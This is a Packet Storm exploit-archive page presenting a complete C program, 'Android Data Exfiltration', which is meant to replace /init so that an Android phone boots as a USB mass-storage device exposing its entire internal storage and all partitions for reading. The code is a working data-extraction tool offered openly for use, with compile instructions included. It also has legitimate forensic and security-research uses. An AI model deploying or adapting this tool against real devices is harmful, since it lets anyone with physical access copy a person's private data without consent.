exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Android Data Exfiltration

Android Data Exfiltration
Posted Jun 28, 2021
Authored by Roman Fiedler | Site unparalleled.eu

This is a tool that was developed to run as alternative "/init". The program will make an Android phone show up as mass storage device during boot. The complete internal storage is available for reading including the partition table and all 42 partitions of the Android system.

tags | exploit
SHA-256 | 26d0ccdaf2d09a37294e6090603335263cb221373194e10a191870af77f5fe23

Android Data Exfiltration

Change Mirror Download
/** This software is provided by the copyright owner "as is"
* and WITHOUT ANY EXPRESSED OR IMPLIED WARRANTIES, including,
* but not limited to, the implied warranties of merchantability
* and fitness for a particular purpose are disclaimed. In no
* event shall the copyright owner be liable for any direct,
* indirect, incidential, special, exemplary or consequential
* damages, including, but not limited to, procurement of substitute
* goods or services, loss of use, data or profits or business
* interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including
* negligence or otherwise, arising in any way out of the use
* of this software, even if advised of the possibility of such
* damage.
*
* Copyright (c) 2021 Unparalleled IT Services e.U.
* https://unparalleled.eu/blog/2021/20210626-android-internal-storage-as-mass-storage/
*
* The permission to use, copy, modify, and distribute this
* software according to GNU Lesser General Public License (LGPL-3.0)
* is hereby granted, provided that the above copyright notice
* appears in all copies.
*
* This program demonstrates how to initialize the USB interface
* on Android using the "/sys/class/android_usb/android0" drivers.
*
* Compiling:
*
* /usr/bin/arm-linux-gnueabihf-gcc -march=armv7-a ExfiltrateAsMassStorage.c -static -o ExfiltrateAsMassStorage
*/

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <unistd.h>


/** Write a string to a given file.
* @return 0 on success.
*/
int writeString(char* targetFile, char* valueStr) {
int targetFd = open(targetFile, O_WRONLY|O_CREAT, 0666);
if (targetFd < 0) {
return 1;
}
int length = strlen(valueStr);
int result = write(targetFd, valueStr, length);
if (result != length) {
return 1;
}
close(targetFd);
return 0;
}


/** Flash the light briefly a given number of times.
*/
void doBlink(int num) {
for (int cnt = 0; cnt < num; cnt++) {
writeString("/sys/class/leds/white/brightness", "100");
usleep(100000);
writeString("/sys/class/leds/white/brightness", "0");
usleep(500000);
}
sleep(2);
}


/** Write a list of strings to target files.
* @param writeList the list containing pairs of target file
* name and value. A NULL target file name ends the list.
* return 0 on success.
*/
int writeStringList(char** writeList) {
int writeCount = 0;
while ((*writeList) && (!writeString(*writeList, *(writeList + 1)))) {
writeList += 2;
writeCount++;
}

// Blink as often as the number of the failed data element.
if (*writeList) {
doBlink(writeCount + 1);
return 1;
}
return 0;
}


/** Initialize the USB device descriptor string values. The values
* are usually ignored by drivers so they can be used to report
* up to 126 bytes of data for debugging purposes.
* @return 0 on success.
*/
int initUsbInfo(char* manufacturer, char* product, char* serial) {
char* writeList[] = {
"/sys/class/android_usb/android0/iManufacturer", manufacturer,
"/sys/class/android_usb/android0/iProduct", product,
"/sys/class/android_usb/android0/f_mass_storage/vendor", "ShortStr",
"/sys/class/android_usb/android0/f_mass_storage/product", product,
"/sys/class/android_usb/android0/iSerial", serial, NULL};
return (writeStringList(writeList));
}


int main(int argc, const char *argv[]) {
// Create the memory block device in case it did not exist yet.
mkdir("/dev", 0755);
mknod("/dev/mmcblk0", S_IFBLK|0666, 0xb300);

// Make sure "sysfs" is mounted.
mkdir("/sys", 0755);
if (mount("sysfs", "/sys", "sysfs", MS_NOATIME, NULL)) {
// No sense to indicate the failure via blink code as sys is
// not mounted yet. Just "kill" init.
return 1;
}

// Blink three to indicate that the code is really running.
doBlink(1);

if (writeString("/sys/class/android_usb/android0/f_rndis/wceis", "1")) {
doBlink(2);
goto mainError;
}

// Set the USB device descriptor strings.
if (initUsbInfo("Exfiltrate", "AProduct", "BSerial")) {
doBlink(3);
goto mainError;
}

char* usbMassStorageInitList[] = {
"/sys/class/android_usb/android0/enable", "0",
"/sys/class/android_usb/android0/idProduct", "0x05c6",
"/sys/class/android_usb/android0/idVendor", "0x9026",
"/sys/class/diag/diag/logging_mode", "internal",
"/sys/class/android_usb/android0/f_mass_storage/lun/file", "/dev/mmcblk0",
"/sys/class/android_usb/android0/functions", "mass_storage",
"/sys/class/android_usb/android0/enable", "1", NULL
};
if (writeStringList(usbMassStorageInitList)) {
goto mainError;
}

// Sleep forever to use the phone as mass storage device.
while (1) {
sleep(1);
}

mainError:
// Blink 10x before exit. When this program is run as "init",
// exit will trigger a reboot of the device.
doBlink(10);
return 1;
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close